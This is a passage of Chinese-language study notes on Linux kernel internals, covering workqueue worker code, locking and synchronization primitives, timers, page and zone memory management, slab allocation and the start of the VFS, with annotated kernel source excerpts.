	worker_leave_idle(worker); /* 清除WORKER_IDLE标志位,并退出idle状态链表 */
recheck:
	/* no more worker necessary? */
	if (!need_more_worker(pool)) /* 如果当前worker_pool->worklist中有pending任务,但是当前pool中没有正在运行的线程,need_more_worker()返回true */
		goto sleep;

	/* do we need to manage? */
	if (unlikely(!may_start_working(pool)) && manage_workers(worker)) /* manage_worker()创建新工作线程之后,还需要跳转到recheck标签处再检查一遍,有可能在创建工作线程过程中整个线程池发生了变化 */
		goto recheck;

	/*
	 * ->scheduled list can only be filled while a worker is
	 * preparing to process a work or actually processing it.
	 * Make sure nobody diddled with it while I was sleeping.
	 */
	WARN_ON_ONCE(!list_empty(&worker->scheduled)); /* scheduled链表表示:工作线程准备处理一个work或者正在执行一个work时,才会有work添加到该链表中 */

	/*
	 * Finish PREP stage.  We're guaranteed to have at least one idle
	 * worker or that someone else has already assumed the manager
	 * role.  This is where @worker starts participating in concurrency
	 * management if applicable and concurrency management is restored
	 * after being rebound.  See rebind_workers() for details.
	 */
	worker_clr_flags(worker, WORKER_PREP | WORKER_REBOUND);

	do { /* 遍历当前worker_pool->worklist中的工作,调用process_one_work()进行处理 */
		struct work_struct *work =
			list_first_entry(&pool->worklist,
					 struct work_struct, entry);

		pool->watchdog_ts = jiffies;

		if (likely(!(*work_data_bits(work) & WORK_STRUCT_LINKED))) {
			/* optimization path, not strictly necessary */
			process_one_work(worker, work); /* 处理一个工作 */
			if (unlikely(!list_empty(&worker->scheduled)))
				process_scheduled_works(worker); /* 就是循环对worker中scheduled链表中的work执行处理,具体处理方式就是调用process_one_work() */
		} else {
			move_linked_works(work, &worker->scheduled, NULL);
			process_scheduled_works(worker);
		}
	} while (keep_working(pool));

	worker_set_flags(worker, WORKER_PREP); 
sleep:
	/*
	 * pool->lock is held and there's no work to process and no need to
	 * manage, sleep.  Workers are woken up only while holding
	 * pool->lock or from local cpu, so setting the current state
	 * before releasing pool->lock is enough to prevent losing any
	 * event.
	 */
	worker_enter_idle(worker);
	__set_current_state(TASK_IDLE);
	spin_unlock_irq(&pool->lock);
	schedule();
	goto woke_up;
}

工作队列的实现比较复杂，我这里还没有完全看明白，以后有需要在专门学习一下

其实工作队列的核心思想就是：内核启动时创建并维护一个工作队列，该队列由内核线程实现，没有任务执行时就陷入睡眠，在用户调用 schedule_work 时，将 work 挂到该工作队列的链表或者队列中，唤醒该内核线程并执行该 work（用户也可以自己创建一个 workqueue 来使用）

内核同步

存在共享资源（共享一个文件，一块内存等等）的时候，为了防止并发访问时共享资源的数据不一致，引入了同步机制

所谓同步，其实防止在临界区中形成竞争条件：

临界区 - 也称为临界段，就是访问和操作共享数据的代码段
竞争条件 - 2个或2个以上线程在临界区里同时执行的时候，就构成了竞争条件

内核同步常见方法如下：

原子操作

原子操作是由编译器来保证的，保证一个线程对数据的操作不会被其他线程打断

所谓原子操作是指不会被线程调度机制打断的操作，这种操作一旦开始，就一直运行到结束，中间不会有任何 context switch
原子操作只能针对 atomic_t 类型的数据进行处理：

typedef struct {
	int counter;
} atomic_t;

typedef struct {
	long long counter;
} atomic64_t;

相关的原子操作如下：

#define atomic_read(v)	READ_ONCE((v)->counter) /* 原子读 */
#define atomic64_read(v)	READ_ONCE((v)->counter)

#define atomic_set(v,i)	WRITE_ONCE(((v)->counter), (i)) /* 原子写 */
#define atomic64_set(v,i)	WRITE_ONCE((v)->counter, (i))

#define set_bit(nr,p)		ATOMIC_BITOP(set_bit,nr,p) /* 设置第nr位(置"1") */
#define clear_bit(nr,p)		ATOMIC_BITOP(clear_bit,nr,p) /* 清空第nr位(置"0") */
#define change_bit(nr,p)	ATOMIC_BITOP(change_bit,nr,p) /* 改变第nr位(异或) */

锁

为了给临界区加锁，保证临界区数据的同步，首先了解一下内核中哪些情况下会产生并发

内核中造成竞争条件的原因：

竞争原因	说明
中断	中断随时会发生，也就会随时打断当前执行的代码，如果中断和被打断的代码在相同的临界区，就产生了竞争条件
软中断和tasklet	软中断和 tasklet 也会随时被内核唤醒执行，也会像中断一样打断正在执行的代码
内核抢占	内核具有抢占性，发生抢占时，如果抢占的线程和被抢占的线程在相同的临界区，就产生了竞争条件
睡眠及用户空间的同步	用户进程睡眠后，调度程序会唤醒一个新的用户进程，新的用户进程和睡眠的进程可能在同一个临界区中
对称多处理	2个或多个处理器可以同时执行相同的代码

加锁后多线程的执行流程：

常见的锁有以下几类：

自旋锁：当一个线程获取了锁之后，其他试图获取这个锁的线程一直在循环等待获取这个锁，直至锁重新可用

由于线程实在一直循环的获取这个锁，所以会造成CPU处理时间的浪费，因此最好将自旋锁用于能很快处理完的临界区
自旋锁常用于中断处理程序中

spin_lock_init(lock); /* 初始化自旋锁lock */
spin_trylock(lock); /* 尝试获取指定的锁(如果获取,则返回"0",否则返回非"0") */
spin_is_locked(lock); /* 如果指定的锁当前正在被获取,则返回非"0",否则返回"0" */

spin_lock(&lock); /* 获取指定的锁 */
spin_lock_irq(&lock); /* 禁止本地中断,获取指定的锁 */
spin_lock_irqsave(&lock, flags); /* 保存中断的当前状态,禁止本地中断,获取指定的锁 */

spin_unlock(&lock); /* 对指定的锁进行解锁 */
spin_unlock_irq(&lock); /* 对指定的锁进行解锁,恢复本地中断 */
spin_unlock_irqrestore(&lock, flags); /* 对指定的锁进行解锁,并恢复到加锁之前的状态 */

读写锁：读写锁实际是一种特殊的自旋锁

它把对共享资源的访问者划分成读者和写者，读者只对共享资源进行读访问，写者则需要对共享资源进行写操作
其实还是一种锁，是给一段临界区代码加锁，读写之间是互斥的：读的时候写阻塞，写的时候读阻塞，而且读和写在竞争锁的时候，写会优先得到锁
一次只有一个线程可以占有写模式的读写锁，但是可以有多个线程同时占有读模式的读写锁

DEFINE_RWLOCK(lock); /* 初始化读写锁 */

read_lock(&lock); /* 获取读锁 */
read_lock_irq(&lock); /* 禁止本地中断,获取读锁 */
read_lock_irqsave(&lock); /* 保存中断的当前状态,禁止本地中断,获取读锁 */
read_unlock(&lock); /* 释放读锁 */
read_unlock_irq(&lock); /* 释放读锁,恢复本地中断 */
read_unlock_irqrestore(&lock); /* 释放读锁,并恢复到加锁之前的状态 */

write_lock(&lock); /* 获取写锁 */
write_lock_irq(&lock); /* 禁止本地中断,获取写锁 */
write_lock_irqsave(&lock); /* 保存中断的当前状态,禁止本地中断,获取写锁 */
write_unlock(&lock); /* 释放写锁 */
write_unlock_irq(&lock); /* 释放写锁,恢复本地中断 */
write_unlock_irqrestore(&lock); /* 释放写锁,并恢复到加锁之前的状态 */

PS：这里的[读锁]和[写锁]指的都是 lock，它们是同一个锁，只是为了区分[读者]和[写者]和分开命名

顺序锁：顺序锁其实就对读写锁的一种优化

对某一个共享数据读取的时候不加锁，写的时候加锁
在读写锁的基础上，读锁被获取的情况下，写锁仍然可以被获取（顺序锁为写者赋予了较高的优先级，即使在读者正在读的时候，也允许写着继续运行）
可以实现同时读写，但是同时写不被允许

#define DEFINE_SEQLOCK(x) /* 初始化seq锁(顺序锁) */

read_seqlock_excl(&lock); /* 获取读锁 */
read_seqlock_excl_bh(&lock); /* 获取读锁,禁止当前处理器的软中断 */
read_seqlock_excl_irq(&lock); /* 获取读锁,禁止当前处理器的硬中断 */
read_seqlock_excl_irqsave(&lock); /* 获取读锁,保存中断的当前状态,禁止当前处理器的硬中断 */

read_sequnlock_excl(&lock); /* 释放读锁 */
read_sequnlock_excl_irq(&lock); /* 内核中只有定义,不使用 */

write_seqlock(&lock); /* 获取写锁 */
write_seqlock_bh(&lock); /* 获取写锁,禁止当前处理器的软中断 */
write_seqlock_irq(&lock); /* 获取写锁,禁止当前处理器的硬中断 */
write_seqlock_irqsave(&lock); /* 获取写锁,禁止当前处理器的硬中断,保存中断的当前状态 */

write_unseqlock(&lock); /* 释放写锁 */
write_sequnlock_irq(&lock); /* 释放写锁,恢复被禁止的硬中断 */
write_sequnlock_irqrestore(&lock); /* 释放写锁,恢复被禁止的硬中断,恢复中断的状态 */

互斥锁：互斥锁也是一种可以睡眠的锁（互斥锁不属于自旋锁，而是属于信号量）

其实相当于二值信号量，只是内核提供了单独的API，使用的场景也更严格一些

1
2
3

mutex_init(&mutex); /* 动态初始化该互斥锁 */
mutex_lock(&mutex); /* 互斥锁加锁 */
mutex_unlock(&mutex); /* 互斥锁解锁 */

必须在同一个上下文中加锁或解锁
不能在中断中使用

信号量

信号量也是一种锁，和自旋锁不同的是，进程获取不到信号量的时候，不会像自旋锁一样循环的去试图获取锁，而是进入睡眠（进入等待队列），直至有信号量释放出来时，才会唤醒睡眠的进程，进入临界区执行

信号量结构体具体如下：

struct semaphore {
    spinlock_t        lock;
    unsigned int        count; /* 信号量计数 */
    struct list_head    wait_list; /* 等待队列 */
};

其实信号量就相当于一个 [常数] 加上一个 [等待队列]：

[常数] > 0：代表了当前临界区可以容纳的进程个数
[常数] = 0：争用信号量的进程会进入睡眠（进入等待队列）
[常数] < 0：在等待队列中的进程数目

当一个进程进入临界区时，会先检查该临界区的 semaphore->count：

如果大于“0”就进入该临界区，同时 semaphore->count--
如果小于等于“0”就进入 semaphore->wait_list，同时 semaphore->count--

当一个进程离开临界区时，也会检查该临界区的 semaphore->count：

如果小于“0”就把 semaphore->wait_list 中的一个进程放入临界区，同时 semaphore->count++
如果大于等于“0”，只执行 semaphore->count++ 就可以了

常规信号量：

void sema_init(struct semaphore *sem, int val); /* 初始化信号量,将信号量的计数器值设置为'val' */

void down(struct semaphore *sem); /* 获取信号量,成功后信号量计数器将减'1' */
int down_interruptible(struct semaphore *sem); /* 用来获取信号量,将信号量sem的计数器值减'1',但它是可被信号中断的 */
int down_trylock(struct semaphore *sem); /* 尝试获取信号量sem(若该sem已经被占用,则返回非'0',否则返回'0',并且获取该sem) */

void up(struct semaphore *sem); /* 释放信号量,成功后信号量计数器将减'1' */

读写信号量：和读写锁一样，只是底层用的是信号量而已

#define init_rwsem(sem) /* 初始化读写信号量,将信号量的count字段设置为'0', wait_lock自旋锁设置为未锁,将等待进程的链表wait_list置为空链表 */	

void __sched down_read(struct rw_semaphore *sem); /* 读者获取信号量sem,如果该信号量在被写者所持有,则对该函数的调用会导致调用者的睡眠 */
void __sched down_write(struct rw_semaphore *sem); /* 写者获取信号量sem,如果该信号量被读者或写者所持有,则对该函数的调用会导致调用者的睡眠 */
    
void up_read(struct rw_semaphore *sem); /* 读者释放读写信号量 */
void up_write(struct rw_semaphore *sem); /* 写者释放读写信号量 */

[读者]拿到[读锁]时，其他的[读者]想要拿锁是不会阻塞的，而[写者]则会阻塞
[写者]拿到[写锁]时，不管是[读者]还是[写者]都会阻塞（比读写锁更严格）

完成变量

完成变量的机制类似于信号量，比如一个线程A进入临界区之后，另一个线程B会在完成变量上等待，线程A完成了任务出了临界区之后，使用完成变量来唤醒线程B

如果在内核中一个任务需要发出信号通知另一任务发生了某个特定事件，利用完成变量（completion variable）是使两个任务得以同步的简单方法
如果一个任务要执行一些工作时，另一个任务就会在完成变量上等待

案例：vfork 函数会使用完成变量去唤醒父进程

1
2
3

void init_completion(struct completion *c); /* 创建并初始化完成变量 */ 
void wait_for_completion(struct completion *c); /* 命令当前任务等待特定的事件 */
void complete(struct completion *c); /* 唤醒等待的内核任务 */

禁止抢占

内核是抢占性的，内核中的进程在任何时候都可以停止，使另一个优先度更高的进程运行，如果一个进程和被它抢占的进程在同一个临界区运行，那么就可能会出现安全问题

进程A对未添加保护的变量buf进行访问
进程A被进程B抢占
进程B也操作变量buf
进程B结束
进程A重新调度
进程A出现安全问题

内核抢占代码使用自旋锁作为非抢占区域的标记（如果一个自旋锁被持有，内核便不能进行抢占），对于独立变量而言，没有必要设置自旋锁（会浪费系统资源），因此需要使用 preempt_disable 来禁止内核抢占

1 2	preempt_enable() /* 允许内核抢占,并使preempt_count减'1' / preempt_disable() / 禁止内核抢占,并使preempt_count加'1' */

顺序与屏障

CPU 可能需要按照写数据的顺序来读数据（类似于 FIFO），但编译器和处理器为了提高效率，常常会对读写的顺序进行“重新排布”

有一些机械指令可以示意 CPU 不要对周围的数据进行重新排序，这些指令就叫做“屏障”

rmb() /* 读屏障:阻止屏障两边的"载入指令"发生重排序 */
wmb() /* 写屏障:阻止屏障两边的"存储指令"发生重排序 */
mb() /* 阻止屏障两边的"载入指令/存储指令"发生重排序 */
smp_rmb() /* 在SMP(多核处理器)上提供rmb功能,在UP(单核处理器)提供barrier功能 */
smp_wmb() /* 在SMP(多核处理器)上提供wmb功能,在UP(单核处理器)提供barrier功能 */
smp_mb() /* 在SMP(多核处理器)上提供mb功能,在UP(单核处理器)提供barrier功能 */
barrier() /* 阻止编译器跨屏障对"载入指令/存储指令"进行优化 */

同步方法选择

系统时间

系统时间管理在内核中有相当重要的地位，内核中有大量函数都是基于时间驱动的

系统中管理的时间有2种：实际时间和定时器

实际时间：现实中钟表上显示的时间，其实内核中并不常用这个时间，主要是用户空间的程序有时需要获取当前时间，所以内核中也管理着这个时间
定时器：内核中主要使用的时间管理方法，通过定时器，可以有效的调度程序的执行

定时器

定时器在内核中用一个链表来保存的，链表的每个节点都是一个定时器

struct timer_list {
	struct hlist_node	entry; /* 定时器链表的入口 */
	unsigned long		expires; /* 以jiffies为单位的"超时时间" */
	void			(*function)(struct timer_list *); /* 定时器处理函数 */
	u32			flags; /* 传给处理函数的长整形参数 */

#ifdef CONFIG_LOCKDEP
	struct lockdep_map	lockdep_map;
#endif
};

struct hlist_node {
	struct hlist_node *next, **pprev;
};

定时器的使用中，下面2个概念非常重要：

HZ：节拍率(HZ)是时钟中断的频率，表示的一秒内时钟中断的次数
jiffies：jiffies 用来记录自系统启动以来产生的总节拍数，比如系统启动了 N 秒，那么 jiffies 就为 N×HZ

# define jiffies	raid6_jiffies()

static inline uint32_t raid6_jiffies(void)
{
	struct timeval tv;
	gettimeofday(&tv, NULL);
	return tv.tv_sec*1000 + tv.tv_usec/1000;
}

一个动态定时器的生命周期中，一般会经过下面的几个步骤：

内存管理

页

内存最基本的管理单元是页，同时按照内存地址的大小，大致分为3个区，页的大小与体系结构有关，在 x86 结构中一般是 4KB 或者 8KB

可以通过 getconf 命令来查看系统的 page 的大小：

➜  桌面 getconf -a | grep -i 'page'
PAGESIZE                           4096
PAGE_SIZE                          4096
_AVPHYS_PAGES                      514073
_PHYS_PAGES                        995803

用于描述页的结构体如下：

struct page {
    unsigned long flags;    /* 存放页的状态 */
    atomic_t _count;        /* 页的引用计数 */
    union {
        atomic_t _mapcount;    /* 已经映射到mms的pte的个数 */
        struct {        /* 用于slab层 */
            u16 inuse;
            u16 objects;
        };
    };
    union {
        struct {
        unsigned long private;        /* 此page作为私有数据时,指向私有数据 */
        struct address_space *mapping;    /* 此page作为页缓存时,指向关联的address_space */
        };
#if USE_SPLIT_PTLOCKS
        spinlock_t ptl;
#endif
        struct kmem_cache *slab;    /* 指向slab层 */
        struct page *first_page;    /* 尾部复合页中的第一个页 */
    };
    union {
        pgoff_t index;        /* Our offset within mapping */
        void *freelist;        /* SLUB: freelist req slab lock */
    };
    struct list_head lru;    /* 将页关联起来的链表项 */
#if defined(WANT_PAGE_VIRTUAL)
    void *virtual;            /* 页的虚拟地址 */
#endif /* WANT_PAGE_VIRTUAL */
#ifdef CONFIG_WANT_PAGE_DEBUG_FLAGS
    unsigned long debug_flags;    /* Use atomic bitops on this */
#endif

#ifdef CONFIG_KMEMCHECK
    /*
     * kmemcheck wants to track the status of each byte in a page; this
     * is a pointer to such a status block. NULL if not tracked
     */
    void *shadow;
#endif
};



struct page {
	unsigned long flags; /* 存放页的状态 */
	union {
		struct { /* 页面缓存和匿名页面 */
			struct list_head lru;
			struct address_space *mapping;
			pgoff_t index;	
			unsigned long private;
		};
		struct { /* slab, slob and slub */
			union {
				struct list_head slab_list;
				struct { /* 私有pages */
					struct page *next;
#ifdef CONFIG_64BIT
					int pages;	/* Nr of pages left */
					int pobjects;	/* Approximate count */
#else
					short int pages;
					short int pobjects;
#endif
				};
			};
			struct kmem_cache *slab_cache; /* not slob */
			/* Double-word boundary */
			void *freelist;		/* first free object */
			union {
				void *s_mem;	/* slab: first object */
				unsigned long counters;		/* SLUB */
				struct {			/* SLUB */
					unsigned inuse:16;
					unsigned objects:15;
					unsigned frozen:1;
				};
			};
		};
		struct { /* 复合页尾页 */
			unsigned long compound_head;	/* Bit zero is set */

			/* First tail page only */
			unsigned char compound_dtor;
			unsigned char compound_order;
			atomic_t compound_mapcount;
		};
		struct { /* 复合页第二尾页 */
			unsigned long _compound_pad_1;	/* compound_head */
			unsigned long _compound_pad_2;
			struct list_head deferred_list;
		};
		struct { /* 页面表页面 */
			unsigned long _pt_pad_1;	/* compound_head */
			pgtable_t pmd_huge_pte; /* protected by page->ptl */
			unsigned long _pt_pad_2;	/* mapping */
			union {
				struct mm_struct *pt_mm; /* x86 pgds only */
				atomic_t pt_frag_refcount; /* powerpc */
			};
#if ALLOC_SPLIT_PTLOCKS
			spinlock_t *ptl;
#else
			spinlock_t ptl;
#endif
		};
		struct { /* ZONE_DEVICE pages */
			struct dev_pagemap *pgmap; /* 指向主机设备页面映射 */
			unsigned long hmm_data;
			unsigned long _zd_pad_1;	/* uses mapping */
		};
		struct rcu_head rcu_head; /* 使用它通过RCU释放页面 */
	};

	union {		/* This union is 4 bytes in size. */
		atomic_t _mapcount; /* 如果页面可以映射到用户空间,则编码页面表引用此页面的次数 */
		unsigned int page_type; /* 如果页面既不是PageSlab,也不可映射到用户空间,则此处存储的值可能有助于确定此页面的用途 */

		unsigned int active;		/* SLAB */
		int units;			/* SLOB */
	};

	/* Usage count. *DO NOT USE DIRECTLY*. See page_ref.h */
	atomic_t _refcount;

#ifdef CONFIG_MEMCG
	struct mem_cgroup *mem_cgroup;
#endif

	/*
	 * On machines where all RAM is mapped into kernel address space,
	 * we can simply calculate the virtual address. On machines with
	 * highmem some memory is mapped into kernel virtual memory
	 * dynamically, so we need a place to store that address.
	 * Note that this field could be 16 bits on x86 ... ;)
	 *
	 * Architectures with slow multiplication can define
	 * WANT_PAGE_VIRTUAL in asm/page.h
	 */
#if defined(WANT_PAGE_VIRTUAL)
	void *virtual;			/* Kernel virtual address (NULL if
					   not kmapped, ie. highmem) */
#endif /* WANT_PAGE_VIRTUAL */

#ifdef LAST_CPUPID_NOT_IN_PAGE_FLAGS
	int _last_cpupid;
#endif
} _struct_page_alignment;

为每个物理页都要分配一个这样的结构

区

页是内存管理的最小单元，内核将内存按地址的顺序分成了不同的区

有的硬件只能访问有专门的区，其实一般主要关注的区只有3个：

区	描述	物理内存
ZONE_DMA	DMA使用的页	< 16MB
ZONE_NORMAL	正常可寻址的页	16MB～896MB
ZONE_HIGHMEM	动态映射的页	> 896MB 某些硬件只能直接访问内存地址，不支持内存映射，对于这些硬件内核会分配 ZONE_DMA 区的内存。

某些硬件的内存寻址范围很广，比虚拟寻址范围还要大的多，那么就会用到 ZONE_HIGHMEM 区的内存
而 ZONE_DMA 用于I/O设备直接存储器访问（网卡就会使用 DMA 技术）
对于大部分的内存申请，只要用 ZONE_NORMAL 区的内存即可

struct zone {
	/* Read-mostly fields */

	/* zone watermarks, access with *_wmark_pages(zone) macros */
	unsigned long watermark[NR_WMARK];

	unsigned long nr_reserved_highatomic;

	/* 
	我们不知道我们要分配的内存是否将是freeable的或者它最终将被释放
	因此为了避免完全浪费几GB的RAM,我们必须保留一些较低区域的内存(否则我们冒着在较低区域上运行OOM的风险,尽管在较高区域上有大量的可用RAM)
	如果sysctl_lowmem_reserve_ratio sysctl发生更改,则会在运行时重新计算此数组
	 */
	long lowmem_reserve[MAX_NR_ZONES];

#ifdef CONFIG_NUMA
	int node;
#endif
	struct pglist_data	*zone_pgdat;
	struct per_cpu_pageset __percpu *pageset;

#ifndef CONFIG_SPARSEMEM
	unsigned long		*pageblock_flags; /* pageblock_nr_pages块的标志 */
#endif /* CONFIG_SPARSEMEM */

	/* zone_start_pfn == zone_start_paddr >> PAGE_SHIFT */
	unsigned long		zone_start_pfn;

	/*
	 * spanned_pages is the total pages spanned by the zone, including
	 * holes, which is calculated as:
	 * 	spanned_pages = zone_end_pfn - zone_start_pfn;
	 *
	 * present_pages is physical pages existing within the zone, which
	 * is calculated as:
	 *	present_pages = spanned_pages - absent_pages(pages in holes);
	 *
	 * managed_pages is present pages managed by the buddy system, which
	 * is calculated as (reserved_pages includes pages allocated by the
	 * bootmem allocator):
	 *	managed_pages = present_pages - reserved_pages;
	 *
	 * So present_pages may be used by memory hotplug or memory power
	 * management logic to figure out unmanaged pages by checking
	 * (present_pages - managed_pages). And managed_pages should be used
	 * by page allocator and vm scanner to calculate all kinds of watermarks
	 * and thresholds.
	 *
	 * Locking rules:
	 *
	 * zone_start_pfn and spanned_pages are protected by span_seqlock.
	 * It is a seqlock because it has to be read outside of zone->lock,
	 * and it is done in the main allocator path.  But, it is written
	 * quite infrequently.
	 *
	 * The span_seq lock is declared along with zone->lock because it is
	 * frequently read in proximity to zone->lock.  It's good to
	 * give them a chance of being in the same cacheline.
	 *
	 * Write access to present_pages at runtime should be protected by
	 * mem_hotplug_begin/end(). Any reader who can't tolerant drift of
	 * present_pages should get_online_mems() to get a stable value.
	 *
	 * Read access to managed_pages should be safe because it's unsigned
	 * long. Write access to zone->managed_pages and totalram_pages are
	 * protected by managed_page_count_lock at runtime. Idealy only
	 * adjust_managed_page_count() should be used instead of directly
	 * touching zone->managed_pages and totalram_pages.
	 */
	unsigned long		managed_pages;
	unsigned long		spanned_pages;
	unsigned long		present_pages;

	const char		*name; /* 表示该区的名称 */

#ifdef CONFIG_MEMORY_ISOLATION
    
	unsigned long		nr_isolate_pageblock; /* 隔离页面块的数量,它用于解决由于检索页面块迁移类型错误,而导致的不正确的free页计数问题 */
#endif

#ifdef CONFIG_MEMORY_HOTPLUG
	/* see spanned/present_pages for more description */
	seqlock_t		span_seqlock;
#endif

	int initialized;

	/* Write-intensive fields used from the page allocator */
	ZONE_PADDING(_pad1_)

	/* free areas of different sizes */
	struct free_area	free_area[MAX_ORDER];

	/* zone flags, see below */
	unsigned long		flags;

	spinlock_t		lock; /* 自旋锁,主要保护free_area */

	/* Write-intensive fields used by compaction and vmstats. */
	ZONE_PADDING(_pad2_)

	unsigned long percpu_drift_mark; /* 当可用页面低于此点时,在读取可用页面数时会采取其他步骤,以避免每cpu计数器漂移导致水印被破坏 */

#if defined CONFIG_COMPACTION || defined CONFIG_CMA
	/* pfn where compaction free scanner should start */
	unsigned long		compact_cached_free_pfn;
	/* pfn where async and sync compaction migration scanner should start */
	unsigned long		compact_cached_migrate_pfn[2];
#endif

#ifdef CONFIG_COMPACTION
	/*
	 * On compaction failure, 1<<compact_defer_shift compactions
	 * are skipped before trying again. The number attempted since
	 * last failure is tracked with compact_considered.
	 */
	unsigned int		compact_considered;
	unsigned int		compact_defer_shift;
	int			compact_order_failed;
#endif

#if defined CONFIG_COMPACTION || defined CONFIG_CMA
	/* Set to true when the PG_migrate_skip bits should be cleared */
	bool			compact_blockskip_flush;
#endif

	bool			contiguous;

	ZONE_PADDING(_pad3_)
	/* Zone statistics */
	atomic_long_t		vm_stat[NR_VM_ZONE_STAT_ITEMS];
	atomic_long_t		vm_numa_stat[NR_VM_NUMA_STAT_ITEMS];
} ____cacheline_internodealigned_in_smp;

分配 ZONE_NORMAL 区的内存的方法如下：

按页获取内存：最原始的方法，用于底层获取内存的方式

方法	描述
alloc_page(gfp_mask)	只分配一页，返回指向页结构的指针
alloc_pages(gfp_mask, order)	分配 2^order 个页，返回指向第一页页结构的指针
__get_free_page(gfp_mask)	只分配一页，返回指向其逻辑地址的指针
__get_free_pages(gfp_mask, order)	分配 2^order 个页，返回指向第一页逻辑地址的指针
get_zeroed_page(gfp_mask)	只分配一页，让其内容填充为“0”，返回指向其逻辑地址的指针

按字节获取内存：使用最多的获取方法

有两种方式进行该种类型的分配：

kmalloc：分配的内存物理地址是连续的，虚拟地址也是连续的
vmalloc：分配的内存物理地址是不连续的，虚拟地址是连续的

因此在使用中，用的较多的还是 kmalloc：

kmalloc 的性能较好
kmalloc 的物理地址和虚拟地址之间的映射比较简单，只需要将物理地址的第一页和虚拟地址第一页关联起来即可
vmalloc 由于物理地址是不连续的，所以要将物理地址的每一页都和虚拟地址关联起来才行

PS：其实 kmalloc() 底层也是基于 SLAB 分配器的，只不过它所需要的管理结构头已经按照 2^n 的大小排列事先准备好了而已，这个管理结构体数组是 struct cache_sizes malloc_sizes[]

Slab 层获取：效率最高的获取方法

linux 中的高速缓存是用所谓 slab 层来实现的，slab 层即内核中管理高速缓存的机制，整个 slab 层的原理如下：

可以在内存中建立各种对象的高速缓存（比如进程描述相关的结构 task_struct 的高速缓存）
除了针对特定对象的高速缓存以外，也有通用对象的高速缓存
每个高速缓存中包含多个 slab，slab 用于管理缓存的对象
slab 中包含多个缓存的对象，物理上由一页或多个连续的页组成

高速缓存 -> slab -> 缓存对象之间的关系如下图：

用于管理 slab 的结构体如下：

struct slab {
    struct list_head list;   /* 存放缓存对象，这个链表有 满，部分满，空 3种状态  */
    unsigned long colouroff; /* slab 着色的偏移量 */
    void *s_mem;             /* 在 slab 中的第一个对象 */
    unsigned int inuse;      /* slab 中已分配的对象数 */
    kmem_bufctl_t free;      /* 第一个空闲对象(如果有的话) */
    unsigned short nodeid;   /* 应该是在 NUMA 环境下使用 */
};

低级内核页分配：（当高速缓存中没有空闲的 slab 时才会调用 kmem_getpages 函数来分配页）

1 2	static struct page kmem_getpages(struct kmem_cache cachep, gfp_t flags, int nodeid)

高速缓存内核页分配：

高速缓存的创建

1
2
3

struct kmem_cache *
kmem_cache_create (const char *name, size_t size, size_t align,
    unsigned long flags, void (*ctor)(void *))

name：一个字符串，存放着高速缓存的名字
size：高速缓存中每个元素的大小
align：slab 内第一个对象的偏移
flags：标志位，用于控制高速缓存的行为

flag	function
SLAB_HWCACHE_ALIGN - 0x00002000U	命令 slab 层把一个 slab 内的所有对象按照高速缓存行进行对齐
SLAB_POISON - 0x00000800U	使 slab 层用已知的值（a5a5a5a5）填充 slab，有利于对未初始化内存的访问
SLAB_RED_ZONE - 0x00000400U	使 slab 层在已经分配的内存周围插入“红色警戒区”，用于探测缓冲越界
SLAB_PANIC - 0x00040000U	当分配失败时提醒 slab 层
SLAB_CACHE_DMA - 0x00004000U	命令 slab 层分配可以执行 DMA 的内存空间给各个 slab（只有分配对象用于 DMA 时才会使用）

*ctor：高速缓存的构造函数（只有在新的页追加到高速缓存时，构造函数才会被调用），因为 Linux 内核的高速缓存不使用构造函数，所以这里常常被赋值为 NULL
return：指向高速缓存指针 *cachep

从高速缓存中分配对象

1	void kmem_cache_alloc(struct kmem_cache cachep, gfp_t flags)

cachep：指向高速缓存指针
- flags：之前讨论的 gfp_mask 标志，只有在高速缓存中所有 slab 都没有空闲对象，并且需要申请新的空间时，这个标志才会起作用
- return：指向对象的指针

向高速缓存释放对象

1	void kmem_cache_free(struct kmem_cache cachep, void objp)

cachep：指向高速缓存指针
- objp：要释放的对象的指针

高速缓存的销毁

1	void kmem_cache_destroy(struct kmem_cache *cachep)

cachep：指向高速缓存指针

高端内存获取

高端内存就是之前提到的 ZONE_HIGHMEM 区的内存，用于满足 “物理地址空间大于虚拟地址空间” 的一些设备的访问需求

在x86体系结构中，这个区的内存不能映射到内核地址空间上（因为 没有逻辑地址），为了使用 ZONE_HIGHMEM 区的内存，内核提供了永久映射和临时映射2种手段：

永久映射：永久映射的函数是可以睡眠的，所以只能用在进程上下文中（永久映射的数量有限）

1	static inline void kmap(struct page page) /* 将ZONE_HIGHMEM区的一个page永久的映射到内核地址空间,返回值即为这个page对应的逻辑地址 */

1	static inline void kunmap(struct page page) / 允许永久映射的数量是有限的,所以不需要高端内存时,应该及时的解除映射 */

临时映射：临时映射不会阻塞，也禁止了内核抢占，所以可以用在中断上下文和其他不能重新调度的地方

static inline void *kmap_atomic(struct page *page, enum km_type idx) /* 将ZONE_HIGHMEM区的一个page临时映射到内核地址空间,其中的km_type表示映射的目的(新版kernel不设置这个参数) */

1	#define kunmap_atomic(addr, idx) do { pagefault_enable(); } while (0) /* 相应的解除映射是个宏 */

虚拟文件系统

虚拟文件系统（VFS）是 linux 内核和具体 I/O 设备之间的封装的一层共通访问接口，通过这层接口 Linux 内核可以以同一的方式访问各种 I/O 设备，它提供了一个通用的文件系统模型，该模型囊括了任何文件系统的常用功能和行为

PS：其实不仅是硬件设备，许多软件机制也会构造 VFS 对象，使用户层可以通过操作文件的形式来操作它们（Linux 中一切皆文件，在这里可以体现）

主要有以下好处：

简化了应用程序的开发：应用通过统一的系统调用访问各种存储介质
简化了新文件系统加入内核的过程：新文件系统只要实现VFS的各个接口即可，不需要修改内核部分

虚拟文件系统本身是 linux 内核的一部分，是纯软件的东西，并不需要任何硬件的支持，其核心就是4个主要对象：

超级块：代表一个具体的已安装文件系统
索引结点：代表一个具体的文件
目录项：代表一个目录项，是路径的一个组成部分
文件：代表由进程打开的文件

超级块

超级块（super_block）主要存储文件系统相关的信息，这是个针对文件系统级别的概念

超级块一般存储在磁盘的特定扇区中
但是对于那些基于内存的文件系统（比如 proc，sysfs），超级块是在使用时创建在内存中的

描述超级块的结构体如下：

/* 
 * 超级块结构中定义的字段非常多
 * 这里只介绍一些重要的属性
 */
struct super_block {
    struct list_head    s_list;               /* 指向所有超级块的链表 */
    const struct super_operations    *s_op; /* 超级块方法 */
    struct dentry        *s_root;           /* 目录挂载点 */
    struct mutex        s_lock;            /* 超级块信号量 */
    int            s_count;                   /* 超级块引用计数 */

    struct list_head    s_inodes;           /* inode链表 */
    struct mtd_info        *s_mtd;            /* 存储磁盘信息 */
    fmode_t            s_mode;                /* 安装权限 */
};

/*
 * 其中的 s_op 中定义了超级块的操作方法
 * 这里只介绍一些相对重要的函数
 */
struct super_operations {
